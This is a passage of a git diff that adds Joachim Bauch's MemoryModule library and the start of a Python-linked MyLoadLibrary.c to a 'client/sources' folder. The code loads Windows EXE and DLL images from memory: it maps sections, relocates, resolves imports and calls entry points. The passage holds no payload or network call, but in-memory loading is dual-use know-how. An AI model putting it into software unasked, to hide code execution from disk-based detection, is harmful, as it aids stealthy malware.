HCUSTOMMODULE *modules; + int numModules; + BOOL initialized; + BOOL isDLL; + BOOL isRelocated; + CustomLoadLibraryFunc loadLibrary; + CustomGetProcAddressFunc getProcAddress; + CustomFreeLibraryFunc freeLibrary; + void *userdata; + ExeEntryProc exeEntry; + DWORD pageSize; +} MEMORYMODULE, *PMEMORYMODULE; + +typedef struct { + LPVOID address; + LPVOID alignedAddress; + DWORD size; + DWORD characteristics; + BOOL last; +} SECTIONFINALIZEDATA, *PSECTIONFINALIZEDATA; + +#define GET_HEADER_DICTIONARY(module, idx) &(module)->headers->OptionalHeader.DataDirectory[idx] +#define ALIGN_DOWN(address, alignment) (LPVOID)((uintptr_t)(address) & ~((alignment) - 1)) + +#ifdef DEBUG_OUTPUT +static void +OutputLastError(const char *msg) +{ + LPVOID tmp; + char *tmpmsg; + FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS, + NULL, GetLastError(), MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), (LPTSTR)&tmp, 0, NULL); + tmpmsg = (char *)LocalAlloc(LPTR, strlen(msg) + strlen(tmp) + 3); + sprintf(tmpmsg, "%s: %s", msg, tmp); + OutputDebugString(tmpmsg); + LocalFree(tmpmsg); + LocalFree(tmp); +} +#endif + +static BOOL +CopySections(const unsigned char *data, PIMAGE_NT_HEADERS old_headers, PMEMORYMODULE module) +{ + int i, size; + unsigned char *codeBase = module->codeBase; + unsigned char *dest; + PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(module->headers); + for (i=0; iheaders->FileHeader.NumberOfSections; i++, section++) { + if (section->SizeOfRawData == 0) { + // section doesn't contain data in the dll itself, but may define + // uninitialized data + size = old_headers->OptionalHeader.SectionAlignment; + if (size > 0) { + dest = (unsigned char *)VirtualAlloc(codeBase + section->VirtualAddress, + size, + MEM_COMMIT, + PAGE_READWRITE); + if (dest == NULL) { + return FALSE; + } + + // Always use position from file to support alignments smaller + // than page size. + dest = codeBase + section->VirtualAddress; + section->Misc.PhysicalAddress = (DWORD) (uintptr_t) dest; + memset(dest, 0, size); + } + + // section is empty + continue; + } + + // commit memory block and copy data from dll + dest = (unsigned char *)VirtualAlloc(codeBase + section->VirtualAddress, + section->SizeOfRawData, + MEM_COMMIT, + PAGE_READWRITE); + if (dest == NULL) { + return FALSE; + } + + // Always use position from file to support alignments smaller + // than page size. + dest = codeBase + section->VirtualAddress; + memcpy(dest, data + section->PointerToRawData, section->SizeOfRawData); + section->Misc.PhysicalAddress = (DWORD) (uintptr_t) dest; + } + + return TRUE; +} + +// Protection flags for memory pages (Executable, Readable, Writeable) +static int ProtectionFlags[2][2][2] = { + { + // not executable + {PAGE_NOACCESS, PAGE_WRITECOPY}, + {PAGE_READONLY, PAGE_READWRITE}, + }, { + // executable + {PAGE_EXECUTE, PAGE_EXECUTE_WRITECOPY}, + {PAGE_EXECUTE_READ, PAGE_EXECUTE_READWRITE}, + }, +}; + +static DWORD +GetRealSectionSize(PMEMORYMODULE module, PIMAGE_SECTION_HEADER section) { + DWORD size = section->SizeOfRawData; + if (size == 0) { + if (section->Characteristics & IMAGE_SCN_CNT_INITIALIZED_DATA) { + size = module->headers->OptionalHeader.SizeOfInitializedData; + } else if (section->Characteristics & IMAGE_SCN_CNT_UNINITIALIZED_DATA) { + size = module->headers->OptionalHeader.SizeOfUninitializedData; + } + } + return size; +} + +static BOOL +FinalizeSection(PMEMORYMODULE module, PSECTIONFINALIZEDATA sectionData) { + DWORD protect, oldProtect; + BOOL executable; + BOOL readable; + BOOL writeable; + + if (sectionData->size == 0) { + return TRUE; + } + + if (sectionData->characteristics & IMAGE_SCN_MEM_DISCARDABLE) { + // section is not needed any more and can safely be freed + if (sectionData->address == sectionData->alignedAddress && + (sectionData->last || + module->headers->OptionalHeader.SectionAlignment == module->pageSize || + (sectionData->size % module->pageSize) == 0) + ) { + // Only allowed to decommit whole pages + VirtualFree(sectionData->address, sectionData->size, MEM_DECOMMIT); + } + return TRUE; + } + + // determine protection flags based on characteristics + executable = (sectionData->characteristics & IMAGE_SCN_MEM_EXECUTE) != 0; + readable = (sectionData->characteristics & IMAGE_SCN_MEM_READ) != 0; + writeable = (sectionData->characteristics & IMAGE_SCN_MEM_WRITE) != 0; + protect = ProtectionFlags[executable][readable][writeable]; + if (sectionData->characteristics & IMAGE_SCN_MEM_NOT_CACHED) { + protect |= PAGE_NOCACHE; + } + + // change memory access flags + if (VirtualProtect(sectionData->address, sectionData->size, protect, &oldProtect) == 0) { +#ifdef DEBUG_OUTPUT + OutputLastError("Error protecting memory page"); +#endif + return FALSE; + } + + return TRUE; +} + +static BOOL +FinalizeSections(PMEMORYMODULE module) +{ + int i; + PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(module->headers); +#ifdef _WIN64 + uintptr_t imageOffset = (module->headers->OptionalHeader.ImageBase & 0xffffffff00000000); +#else + #define imageOffset 0 +#endif + SECTIONFINALIZEDATA sectionData; + sectionData.address = (LPVOID)((uintptr_t)section->Misc.PhysicalAddress | imageOffset); + sectionData.alignedAddress = ALIGN_DOWN(sectionData.address, module->pageSize); + sectionData.size = GetRealSectionSize(module, section); + sectionData.characteristics = section->Characteristics; + sectionData.last = FALSE; + section++; + + // loop through all sections and change access flags + for (i=1; iheaders->FileHeader.NumberOfSections; i++, section++) { + LPVOID sectionAddress = (LPVOID)((uintptr_t)section->Misc.PhysicalAddress | imageOffset); + LPVOID alignedAddress = ALIGN_DOWN(sectionAddress, module->pageSize); + DWORD sectionSize = GetRealSectionSize(module, section); + // Combine access flags of all sections that share a page + // TODO(fancycode): We currently share flags of a trailing large section + // with the page of a first small section. This should be optimized. + if (sectionData.alignedAddress == alignedAddress || (uintptr_t) sectionData.address + sectionData.size > (uintptr_t) alignedAddress) { + // Section shares page with previous + if ((section->Characteristics & IMAGE_SCN_MEM_DISCARDABLE) == 0 || (sectionData.characteristics & IMAGE_SCN_MEM_DISCARDABLE) == 0) { + sectionData.characteristics = (sectionData.characteristics | section->Characteristics) & ~IMAGE_SCN_MEM_DISCARDABLE; + } else { + sectionData.characteristics |= section->Characteristics; + } + sectionData.size = (((uintptr_t)sectionAddress) + sectionSize) - (uintptr_t) sectionData.address; + continue; + } + + if (!FinalizeSection(module, §ionData)) { + return FALSE; + } + sectionData.address = sectionAddress; + sectionData.alignedAddress = alignedAddress; + sectionData.size = sectionSize; + sectionData.characteristics = section->Characteristics; + } + sectionData.last = TRUE; + if (!FinalizeSection(module, §ionData)) { + return FALSE; + } +#ifndef _WIN64 +#undef imageOffset +#endif + return TRUE; +} + +static BOOL +ExecuteTLS(PMEMORYMODULE module) +{ + unsigned char *codeBase = module->codeBase; + PIMAGE_TLS_DIRECTORY tls; + PIMAGE_TLS_CALLBACK* callback; + + PIMAGE_DATA_DIRECTORY directory = GET_HEADER_DICTIONARY(module, IMAGE_DIRECTORY_ENTRY_TLS); + if (directory->VirtualAddress == 0) { + return TRUE; + } + + tls = (PIMAGE_TLS_DIRECTORY) (codeBase + directory->VirtualAddress); + callback = (PIMAGE_TLS_CALLBACK *) tls->AddressOfCallBacks; + if (callback) { + while (*callback) { + (*callback)((LPVOID) codeBase, DLL_PROCESS_ATTACH, NULL); + callback++; + } + } + return TRUE; +} + +static BOOL +PerformBaseRelocation(PMEMORYMODULE module, SIZE_T delta) +{ + unsigned char *codeBase = module->codeBase; + PIMAGE_BASE_RELOCATION relocation; + + PIMAGE_DATA_DIRECTORY directory = GET_HEADER_DICTIONARY(module, IMAGE_DIRECTORY_ENTRY_BASERELOC); + if (directory->Size == 0) { + return (delta == 0); + } + + relocation = (PIMAGE_BASE_RELOCATION) (codeBase + directory->VirtualAddress); + for (; relocation->VirtualAddress > 0; ) { + DWORD i; + unsigned char *dest = codeBase + relocation->VirtualAddress; + unsigned short *relInfo = (unsigned short *)((unsigned char *)relocation + IMAGE_SIZEOF_BASE_RELOCATION); + for (i=0; i<((relocation->SizeOfBlock-IMAGE_SIZEOF_BASE_RELOCATION) / 2); i++, relInfo++) { + DWORD *patchAddrHL; +#ifdef _WIN64 + ULONGLONG *patchAddr64; +#endif + int type, offset; + + // the upper 4 bits define the type of relocation + type = *relInfo >> 12; + // the lower 12 bits define the offset + offset = *relInfo & 0xfff; + + switch (type) + { + case IMAGE_REL_BASED_ABSOLUTE: + // skip relocation + break; + + case IMAGE_REL_BASED_HIGHLOW: + // change complete 32 bit address + patchAddrHL = (DWORD *) (dest + offset); + *patchAddrHL += (DWORD) delta; + break; + +#ifdef _WIN64 + case IMAGE_REL_BASED_DIR64: + patchAddr64 = (ULONGLONG *) (dest + offset); + *patchAddr64 += (ULONGLONG) delta; + break; +#endif + + default: + //printf("Unknown relocation: %d\n", type); + break; + } + } + + // advance to next relocation block + relocation = (PIMAGE_BASE_RELOCATION) (((char *) relocation) + relocation->SizeOfBlock); + } + return TRUE; +} + +static BOOL +BuildImportTable(PMEMORYMODULE module) +{ + unsigned char *codeBase = module->codeBase; + PIMAGE_IMPORT_DESCRIPTOR importDesc; + BOOL result = TRUE; + + PIMAGE_DATA_DIRECTORY directory = GET_HEADER_DICTIONARY(module, IMAGE_DIRECTORY_ENTRY_IMPORT); + if (directory->Size == 0) { + return TRUE; + } + + importDesc = (PIMAGE_IMPORT_DESCRIPTOR) (codeBase + directory->VirtualAddress); + for (; !IsBadReadPtr(importDesc, sizeof(IMAGE_IMPORT_DESCRIPTOR)) && importDesc->Name; importDesc++) { + uintptr_t *thunkRef; + FARPROC *funcRef; + HCUSTOMMODULE *tmp; + HCUSTOMMODULE handle = module->loadLibrary((LPCSTR) (codeBase + importDesc->Name), module->userdata); + if (handle == NULL) { + SetLastError(ERROR_MOD_NOT_FOUND); + result = FALSE; + break; + } + + tmp = (HCUSTOMMODULE *) realloc(module->modules, (module->numModules+1)*(sizeof(HCUSTOMMODULE))); + if (tmp == NULL) { + module->freeLibrary(handle, module->userdata); + SetLastError(ERROR_OUTOFMEMORY); + result = FALSE; + break; + } + module->modules = tmp; + + module->modules[module->numModules++] = handle; + if (importDesc->OriginalFirstThunk) { + thunkRef = (uintptr_t *) (codeBase + importDesc->OriginalFirstThunk); + funcRef = (FARPROC *) (codeBase + importDesc->FirstThunk); + } else { + // no hint table + thunkRef = (uintptr_t *) (codeBase + importDesc->FirstThunk); + funcRef = (FARPROC *) (codeBase + importDesc->FirstThunk); + } + for (; *thunkRef; thunkRef++, funcRef++) { + if (IMAGE_SNAP_BY_ORDINAL(*thunkRef)) { + *funcRef = module->getProcAddress(handle, (LPCSTR)IMAGE_ORDINAL(*thunkRef), module->userdata); + } else { + PIMAGE_IMPORT_BY_NAME thunkData = (PIMAGE_IMPORT_BY_NAME) (codeBase + (*thunkRef)); + *funcRef = module->getProcAddress(handle, (LPCSTR)&thunkData->Name, module->userdata); + } + if (*funcRef == 0) { + result = FALSE; + break; + } + } + + if (!result) { + module->freeLibrary(handle, module->userdata); + SetLastError(ERROR_PROC_NOT_FOUND); + break; + } + } + + return result; +} + +static HCUSTOMMODULE _LoadLibrary(LPCSTR filename, void *userdata) +{ + HMODULE result = LoadLibraryA(filename); + if (result == NULL) { + return NULL; + } + + return (HCUSTOMMODULE) result; +} + +static FARPROC _GetProcAddress(HCUSTOMMODULE module, LPCSTR name, void *userdata) +{ + return (FARPROC) GetProcAddress((HMODULE) module, name); +} + +static void _FreeLibrary(HCUSTOMMODULE module, void *userdata) +{ + FreeLibrary((HMODULE) module); +} + +HMEMORYMODULE MemoryLoadLibrary(const void *data) +{ + return MemoryLoadLibraryEx(data, _LoadLibrary, _GetProcAddress, _FreeLibrary, NULL); +} + +HMEMORYMODULE MemoryLoadLibraryEx(const void *data, + CustomLoadLibraryFunc loadLibrary, + CustomGetProcAddressFunc getProcAddress, + CustomFreeLibraryFunc freeLibrary, + void *userdata) +{ + PMEMORYMODULE result; + PIMAGE_DOS_HEADER dos_header; + PIMAGE_NT_HEADERS old_header; + unsigned char *code, *headers; + SIZE_T locationDelta; + SYSTEM_INFO sysInfo; + HMODULE hModule; + + dos_header = (PIMAGE_DOS_HEADER)data; + if (dos_header->e_magic != IMAGE_DOS_SIGNATURE) { + SetLastError(ERROR_BAD_EXE_FORMAT); + return NULL; + } + + old_header = (PIMAGE_NT_HEADERS)&((const unsigned char *)(data))[dos_header->e_lfanew]; + if (old_header->Signature != IMAGE_NT_SIGNATURE) { + SetLastError(ERROR_BAD_EXE_FORMAT); + return NULL; + } + +#ifdef _WIN64 + if (old_header->FileHeader.Machine != IMAGE_FILE_MACHINE_AMD64) { +#else + if (old_header->FileHeader.Machine != IMAGE_FILE_MACHINE_I386) { +#endif + SetLastError(ERROR_BAD_EXE_FORMAT); + return NULL; + } + + if (old_header->OptionalHeader.SectionAlignment & 1) { + // Only support section alignments that are a multiple of 2 + SetLastError(ERROR_BAD_EXE_FORMAT); + return NULL; + } + + // reserve memory for image of library + // XXX: is it correct to commit the complete memory region at once? + // calling DllEntry raises an exception if we don't... + code = (unsigned char *)VirtualAlloc((LPVOID)(old_header->OptionalHeader.ImageBase), + old_header->OptionalHeader.SizeOfImage, + MEM_RESERVE | MEM_COMMIT, + PAGE_READWRITE); + + if (code == NULL) { + // try to allocate memory at arbitrary position + code = (unsigned char *)VirtualAlloc(NULL, + old_header->OptionalHeader.SizeOfImage, + MEM_RESERVE | MEM_COMMIT, + PAGE_READWRITE); + if (code == NULL) { + SetLastError(ERROR_OUTOFMEMORY); + return NULL; + } + } + + result = (PMEMORYMODULE)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(MEMORYMODULE)); + if (result == NULL) { + VirtualFree(code, 0, MEM_RELEASE); + SetLastError(ERROR_OUTOFMEMORY); + return NULL; + } + + result->codeBase = code; + result->isDLL = (old_header->FileHeader.Characteristics & IMAGE_FILE_DLL) != 0; + result->loadLibrary = loadLibrary; + result->getProcAddress = getProcAddress; + result->freeLibrary = freeLibrary; + result->userdata = userdata; + + hModule = LoadLibrary ("kernel32.dll"); + if (hModule) { + int (WINAPI *GetNativeSystemInfo) (SYSTEM_INFO *systemInfo); + GetNativeSystemInfo = (void *) GetProcAddress (hModule, "GetNativeSystemInfo"); + GetNativeSystemInfo(&sysInfo); + } + result->pageSize = sysInfo.dwPageSize; + + // commit memory for headers + headers = (unsigned char *)VirtualAlloc(code, + old_header->OptionalHeader.SizeOfHeaders, + MEM_COMMIT, + PAGE_READWRITE); + + // copy PE header to code + memcpy(headers, dos_header, old_header->OptionalHeader.SizeOfHeaders); + result->headers = (PIMAGE_NT_HEADERS)&((const unsigned char *)(headers))[dos_header->e_lfanew]; + + // update position + result->headers->OptionalHeader.ImageBase = (uintptr_t)code; + + // copy sections from DLL file block to new memory location + if (!CopySections((const unsigned char *) data, old_header, result)) { + goto error; + } + + // adjust base address of imported data + locationDelta = (SIZE_T)(code - old_header->OptionalHeader.ImageBase); + if (locationDelta != 0) { + result->isRelocated = PerformBaseRelocation(result, locationDelta); + } else { + result->isRelocated = TRUE; + } + + // load required dlls and adjust function table of imports + if (!BuildImportTable(result)) { + goto error; + } + + // mark memory pages depending on section headers and release + // sections that are marked as "discardable" + if (!FinalizeSections(result)) { + goto error; + } + + // TLS callbacks are executed BEFORE the main loading + if (!ExecuteTLS(result)) { + goto error; + } + + // get entry point of loaded library + if (result->headers->OptionalHeader.AddressOfEntryPoint != 0) { + if (result->isDLL) { + DllEntryProc DllEntry = (DllEntryProc) (code + result->headers->OptionalHeader.AddressOfEntryPoint); + // notify library about attaching to process + BOOL successfull = (*DllEntry)((HINSTANCE)code, DLL_PROCESS_ATTACH, 0); + if (!successfull) { + SetLastError(ERROR_DLL_INIT_FAILED); + goto error; + } + result->initialized = TRUE; + } else { + result->exeEntry = (ExeEntryProc) (code + result->headers->OptionalHeader.AddressOfEntryPoint); + } + } else { + result->exeEntry = NULL; + } + + return (HMEMORYMODULE)result; + +error: + // cleanup + MemoryFreeLibrary(result); + return NULL; +} + +FARPROC MemoryGetProcAddress(HMEMORYMODULE module, LPCSTR name) +{ + unsigned char *codeBase = ((PMEMORYMODULE)module)->codeBase; + DWORD idx; + PIMAGE_EXPORT_DIRECTORY exports; + PIMAGE_DATA_DIRECTORY directory = GET_HEADER_DICTIONARY((PMEMORYMODULE)module, IMAGE_DIRECTORY_ENTRY_EXPORT); + if (directory->Size == 0) { + // no export table found + SetLastError(ERROR_PROC_NOT_FOUND); + return NULL; + } + + exports = (PIMAGE_EXPORT_DIRECTORY) (codeBase + directory->VirtualAddress); + if (exports->NumberOfNames == 0 || exports->NumberOfFunctions == 0) { + // DLL doesn't export anything + SetLastError(ERROR_PROC_NOT_FOUND); + return NULL; + } + + if (HIWORD(name) == 0) { + // load function by ordinal value + if (LOWORD(name) < exports->Base) { + SetLastError(ERROR_PROC_NOT_FOUND); + return NULL; + } + + idx = LOWORD(name) - exports->Base; + } else { + // search function name in list of exported names + DWORD i; + DWORD *nameRef = (DWORD *) (codeBase + exports->AddressOfNames); + WORD *ordinal = (WORD *) (codeBase + exports->AddressOfNameOrdinals); + BOOL found = FALSE; + for (i=0; iNumberOfNames; i++, nameRef++, ordinal++) { + if (_stricmp(name, (const char *) (codeBase + (*nameRef))) == 0) { + idx = *ordinal; + found = TRUE; + break; + } + } + + if (!found) { + // exported symbol not found + SetLastError(ERROR_PROC_NOT_FOUND); + return NULL; + } + } + + if (idx > exports->NumberOfFunctions) { + // name <-> ordinal number don't match + SetLastError(ERROR_PROC_NOT_FOUND); + return NULL; + } + + // AddressOfFunctions contains the RVAs to the "real" functions + return (FARPROC) (codeBase + (*(DWORD *) (codeBase + exports->AddressOfFunctions + (idx*4)))); +} + +void MemoryFreeLibrary(HMEMORYMODULE mod) +{ + PMEMORYMODULE module = (PMEMORYMODULE)mod; + + if (module == NULL) { + return; + } + if (module->initialized) { + // notify library about detaching from process + DllEntryProc DllEntry = (DllEntryProc) (module->codeBase + module->headers->OptionalHeader.AddressOfEntryPoint); + (*DllEntry)((HINSTANCE)module->codeBase, DLL_PROCESS_DETACH, 0); + } + + if (module->modules != NULL) { + // free previously opened libraries + int i; + for (i=0; inumModules; i++) { + if (module->modules[i] != NULL) { + module->freeLibrary(module->modules[i], module->userdata); + } + } + + free(module->modules); + } + + if (module->codeBase != NULL) { + // release memory of library + VirtualFree(module->codeBase, 0, MEM_RELEASE); + } + + HeapFree(GetProcessHeap(), 0, module); +} + +int MemoryCallEntryPoint(HMEMORYMODULE mod) +{ + PMEMORYMODULE module = (PMEMORYMODULE)mod; + + if (module == NULL || module->isDLL || module->exeEntry == NULL || !module->isRelocated) { + return -1; + } + + return module->exeEntry(); +} + +#define DEFAULT_LANGUAGE MAKELANGID(LANG_NEUTRAL, SUBLANG_NEUTRAL) + +HMEMORYRSRC MemoryFindResource(HMEMORYMODULE module, LPCTSTR name, LPCTSTR type) +{ + return MemoryFindResourceEx(module, name, type, DEFAULT_LANGUAGE); +} + +static PIMAGE_RESOURCE_DIRECTORY_ENTRY _MemorySearchResourceEntry( + void *root, + PIMAGE_RESOURCE_DIRECTORY resources, + LPCTSTR key) +{ + PIMAGE_RESOURCE_DIRECTORY_ENTRY entries = (PIMAGE_RESOURCE_DIRECTORY_ENTRY) (resources + 1); + PIMAGE_RESOURCE_DIRECTORY_ENTRY result = NULL; + DWORD start; + DWORD end; + DWORD middle; + + if (!IS_INTRESOURCE(key) && key[0] == TEXT('#')) { + // special case: resource id given as string + TCHAR *endpos = NULL; + long int tmpkey = (WORD) _tcstol((TCHAR *) &key[1], &endpos, 10); + if (tmpkey <= 0xffff && lstrlen(endpos) == 0) { + key = MAKEINTRESOURCE(tmpkey); + } + } + + // entries are stored as ordered list of named entries, + // followed by an ordered list of id entries - we can do + // a binary search to find faster... + if (IS_INTRESOURCE(key)) { + WORD check = (WORD) (uintptr_t) key; + start = resources->NumberOfNamedEntries; + end = start + resources->NumberOfIdEntries; + + while (end > start) { + WORD entryName; + middle = (start + end) >> 1; + entryName = (WORD) entries[middle].Name; + if (check < entryName) { + end = (end != middle ? middle : middle-1); + } else if (check > entryName) { + start = (start != middle ? middle : middle+1); + } else { + result = &entries[middle]; + break; + } + } + } else { + LPCWSTR searchKey; + size_t searchKeyLen = _tcslen(key); +#if defined(UNICODE) + searchKey = key; +#else + // Resource names are always stored using 16bit characters, need to + // convert string we search for. +#define MAX_LOCAL_KEY_LENGTH 2048 + // In most cases resource names are short, so optimize for that by + // using a pre-allocated array. + wchar_t _searchKeySpace[MAX_LOCAL_KEY_LENGTH+1]; + LPWSTR _searchKey; + if (searchKeyLen > MAX_LOCAL_KEY_LENGTH) { + size_t _searchKeySize = (searchKeyLen + 1) * sizeof(wchar_t); + _searchKey = (LPWSTR) malloc(_searchKeySize); + if (_searchKey == NULL) { + SetLastError(ERROR_OUTOFMEMORY); + return NULL; + } + } else { + _searchKey = &_searchKeySpace[0]; + } + + mbstowcs(_searchKey, key, searchKeyLen); + _searchKey[searchKeyLen] = 0; + searchKey = _searchKey; +#endif + start = 0; + end = resources->NumberOfNamedEntries; + while (end > start) { + int cmp; + PIMAGE_RESOURCE_DIR_STRING_U resourceString; + middle = (start + end) >> 1; + resourceString = (PIMAGE_RESOURCE_DIR_STRING_U) (((char *) root) + (entries[middle].Name & 0x7FFFFFFF)); + cmp = wcsnicmp(searchKey, resourceString->NameString, resourceString->Length); + if (cmp == 0) { + // Handle partial match + cmp = searchKeyLen - resourceString->Length; + } + if (cmp < 0) { + end = (middle != end ? middle : middle-1); + } else if (cmp > 0) { + start = (middle != start ? middle : middle+1); + } else { + result = &entries[middle]; + break; + } + } +#if !defined(UNICODE) + if (searchKeyLen > MAX_LOCAL_KEY_LENGTH) { + free(_searchKey); + } +#undef MAX_LOCAL_KEY_LENGTH +#endif + } + + return result; +} + +HMEMORYRSRC MemoryFindResourceEx(HMEMORYMODULE module, LPCTSTR name, LPCTSTR type, WORD language) +{ + unsigned char *codeBase = ((PMEMORYMODULE) module)->codeBase; + PIMAGE_DATA_DIRECTORY directory = GET_HEADER_DICTIONARY((PMEMORYMODULE) module, IMAGE_DIRECTORY_ENTRY_RESOURCE); + PIMAGE_RESOURCE_DIRECTORY rootResources; + PIMAGE_RESOURCE_DIRECTORY nameResources; + PIMAGE_RESOURCE_DIRECTORY typeResources; + PIMAGE_RESOURCE_DIRECTORY_ENTRY foundType; + PIMAGE_RESOURCE_DIRECTORY_ENTRY foundName; + PIMAGE_RESOURCE_DIRECTORY_ENTRY foundLanguage; + if (directory->Size == 0) { + // no resource table found + SetLastError(ERROR_RESOURCE_DATA_NOT_FOUND); + return NULL; + } + + if (language == DEFAULT_LANGUAGE) { + // use language from current thread + language = LANGIDFROMLCID(GetThreadLocale()); + } + + // resources are stored as three-level tree + // - first node is the type + // - second node is the name + // - third node is the language + rootResources = (PIMAGE_RESOURCE_DIRECTORY) (codeBase + directory->VirtualAddress); + foundType = _MemorySearchResourceEntry(rootResources, rootResources, type); + if (foundType == NULL) { + SetLastError(ERROR_RESOURCE_TYPE_NOT_FOUND); + return NULL; + } + + typeResources = (PIMAGE_RESOURCE_DIRECTORY) (codeBase + directory->VirtualAddress + (foundType->OffsetToData & 0x7fffffff)); + foundName = _MemorySearchResourceEntry(rootResources, typeResources, name); + if (foundName == NULL) { + SetLastError(ERROR_RESOURCE_NAME_NOT_FOUND); + return NULL; + } + + nameResources = (PIMAGE_RESOURCE_DIRECTORY) (codeBase + directory->VirtualAddress + (foundName->OffsetToData & 0x7fffffff)); + foundLanguage = _MemorySearchResourceEntry(rootResources, nameResources, (LPCTSTR) (uintptr_t) language); + if (foundLanguage == NULL) { + // requested language not found, use first available + if (nameResources->NumberOfIdEntries == 0) { + SetLastError(ERROR_RESOURCE_LANG_NOT_FOUND); + return NULL; + } + + foundLanguage = (PIMAGE_RESOURCE_DIRECTORY_ENTRY) (nameResources + 1); + } + + return (codeBase + directory->VirtualAddress + (foundLanguage->OffsetToData & 0x7fffffff)); +} + +DWORD MemorySizeofResource(HMEMORYMODULE module, HMEMORYRSRC resource) +{ + PIMAGE_RESOURCE_DATA_ENTRY entry = (PIMAGE_RESOURCE_DATA_ENTRY) resource; + if (entry == NULL) { + return 0; + } + + return entry->Size; +} + +LPVOID MemoryLoadResource(HMEMORYMODULE module, HMEMORYRSRC resource) +{ + unsigned char *codeBase = ((PMEMORYMODULE) module)->codeBase; + PIMAGE_RESOURCE_DATA_ENTRY entry = (PIMAGE_RESOURCE_DATA_ENTRY) resource; + if (entry == NULL) { + return NULL; + } + + return codeBase + entry->OffsetToData; +} + +int +MemoryLoadString(HMEMORYMODULE module, UINT id, LPTSTR buffer, int maxsize) +{ + return MemoryLoadStringEx(module, id, buffer, maxsize, DEFAULT_LANGUAGE); +} + +int +MemoryLoadStringEx(HMEMORYMODULE module, UINT id, LPTSTR buffer, int maxsize, WORD language) +{ + HMEMORYRSRC resource; + PIMAGE_RESOURCE_DIR_STRING_U data; + DWORD size; + if (maxsize == 0) { + return 0; + } + + resource = MemoryFindResourceEx(module, MAKEINTRESOURCE((id >> 4) + 1), RT_STRING, language); + if (resource == NULL) { + buffer[0] = 0; + return 0; + } + + data = (PIMAGE_RESOURCE_DIR_STRING_U) MemoryLoadResource(module, resource); + id = id & 0x0f; + while (id--) { + data = (PIMAGE_RESOURCE_DIR_STRING_U) (((char *) data) + (data->Length + 1) * sizeof(WCHAR)); + } + if (data->Length == 0) { + SetLastError(ERROR_RESOURCE_NAME_NOT_FOUND); + buffer[0] = 0; + return 0; + } + + size = data->Length; + if (size >= (DWORD) maxsize) { + size = maxsize; + } else { + buffer[size] = 0; + } +#if defined(UNICODE) + wcsncpy(buffer, data->NameString, size); +#else + wcstombs(buffer, data->NameString, size); +#endif + return size; +} diff --git a/client/sources/MemoryModule.h b/client/sources/MemoryModule.h new file mode 100644 index 00000000..c19255cd --- /dev/null +++ b/client/sources/MemoryModule.h @@ -0,0 +1,123 @@ +/* + * Memory DLL loading code + * Version 0.0.4 + * + * Copyright (c) 2004-2015 by Joachim Bauch / mail@joachim-bauch.de + * http://www.joachim-bauch.de + * + * The contents of this file are subject to the Mozilla Public License Version + * 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + * http://www.mozilla.org/MPL/ + * + * Software distributed under the License is distributed on an "AS IS" basis, + * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License + * for the specific language governing rights and limitations under the + * License. + * + * The Original Code is MemoryModule.h + * + * The Initial Developer of the Original Code is Joachim Bauch. + * + * Portions created by Joachim Bauch are Copyright (C) 2004-2015 + * Joachim Bauch. All Rights Reserved. + * + */ + +#ifndef __MEMORY_MODULE_HEADER +#define __MEMORY_MODULE_HEADER + +#include + +typedef void *HMEMORYMODULE; + +typedef void *HMEMORYRSRC; + +typedef void *HCUSTOMMODULE; + +#ifdef __cplusplus +extern "C" { +#endif + +typedef HCUSTOMMODULE (*CustomLoadLibraryFunc)(LPCSTR, void *); +typedef FARPROC (*CustomGetProcAddressFunc)(HCUSTOMMODULE, LPCSTR, void *); +typedef void (*CustomFreeLibraryFunc)(HCUSTOMMODULE, void *); + +/** + * Load EXE/DLL from memory location. + * + * All dependencies are resolved using default LoadLibrary/GetProcAddress + * calls through the Windows API. + */ +HMEMORYMODULE MemoryLoadLibrary(const void *); + +/** + * Load EXE/DLL from memory location using custom dependency resolvers. + * + * Dependencies will be resolved using passed callback methods. + */ +HMEMORYMODULE MemoryLoadLibraryEx(const void *, + CustomLoadLibraryFunc, + CustomGetProcAddressFunc, + CustomFreeLibraryFunc, + void *); + +/** + * Get address of exported method. Supports loading both by name and by + * ordinal value. + */ +FARPROC MemoryGetProcAddress(HMEMORYMODULE, LPCSTR); + +/** + * Free previously loaded EXE/DLL. + */ +void MemoryFreeLibrary(HMEMORYMODULE); + +/** + * Execute entry point (EXE only). The entry point can only be executed + * if the EXE has been loaded to the correct base address or it could + * be relocated (i.e. relocation information have not been stripped by + * the linker). + * + * Important: calling this function will not return, i.e. once the loaded + * EXE finished running, the process will terminate. + * + * Returns a negative value if the entry point could not be executed. + */ +int MemoryCallEntryPoint(HMEMORYMODULE); + +/** + * Find the location of a resource with the specified type and name. + */ +HMEMORYRSRC MemoryFindResource(HMEMORYMODULE, LPCTSTR, LPCTSTR); + +/** + * Find the location of a resource with the specified type, name and language. + */ +HMEMORYRSRC MemoryFindResourceEx(HMEMORYMODULE, LPCTSTR, LPCTSTR, WORD); + +/** + * Get the size of the resource in bytes. + */ +DWORD MemorySizeofResource(HMEMORYMODULE, HMEMORYRSRC); + +/** + * Get a pointer to the contents of the resource. + */ +LPVOID MemoryLoadResource(HMEMORYMODULE, HMEMORYRSRC); + +/** + * Load a string resource. + */ +int MemoryLoadString(HMEMORYMODULE, UINT, LPTSTR, int); + +/** + * Load a string resource with a given language. + */ +int MemoryLoadStringEx(HMEMORYMODULE, UINT, LPTSTR, int, WORD); + +#ifdef __cplusplus +} +#endif + +#endif // __MEMORY_MODULE_HEADER diff --git a/client/sources/MyLoadLibrary.c b/client/sources/MyLoadLibrary.c new file mode 100644 index 00000000..7d45c013 --- /dev/null +++ b/client/sources/MyLoadLibrary.c @@ -0,0 +1,232 @@ +#ifdef STANDALONE +# include +# include "Python-version.h" +#else +# include "Python-dynload.h" +# include +#endif +#include + +#include "MemoryModule.h" +#include "MyLoadLibrary.h" + +//#define VERBOSE /* enable to print debug output */ + +/* + +Windows API: +============ + +HMODULE LoadLibraryA(LPCSTR) +HMODULE GetModuleHandleA(LPCSTR) +BOOL FreeLibrary(HMODULE) +FARPROC GetProcAddress(HMODULE, LPCSTR) + + +MemoryModule API: +================= + +HMEMORYMODULE MemoryLoadLibrary(void *) +void 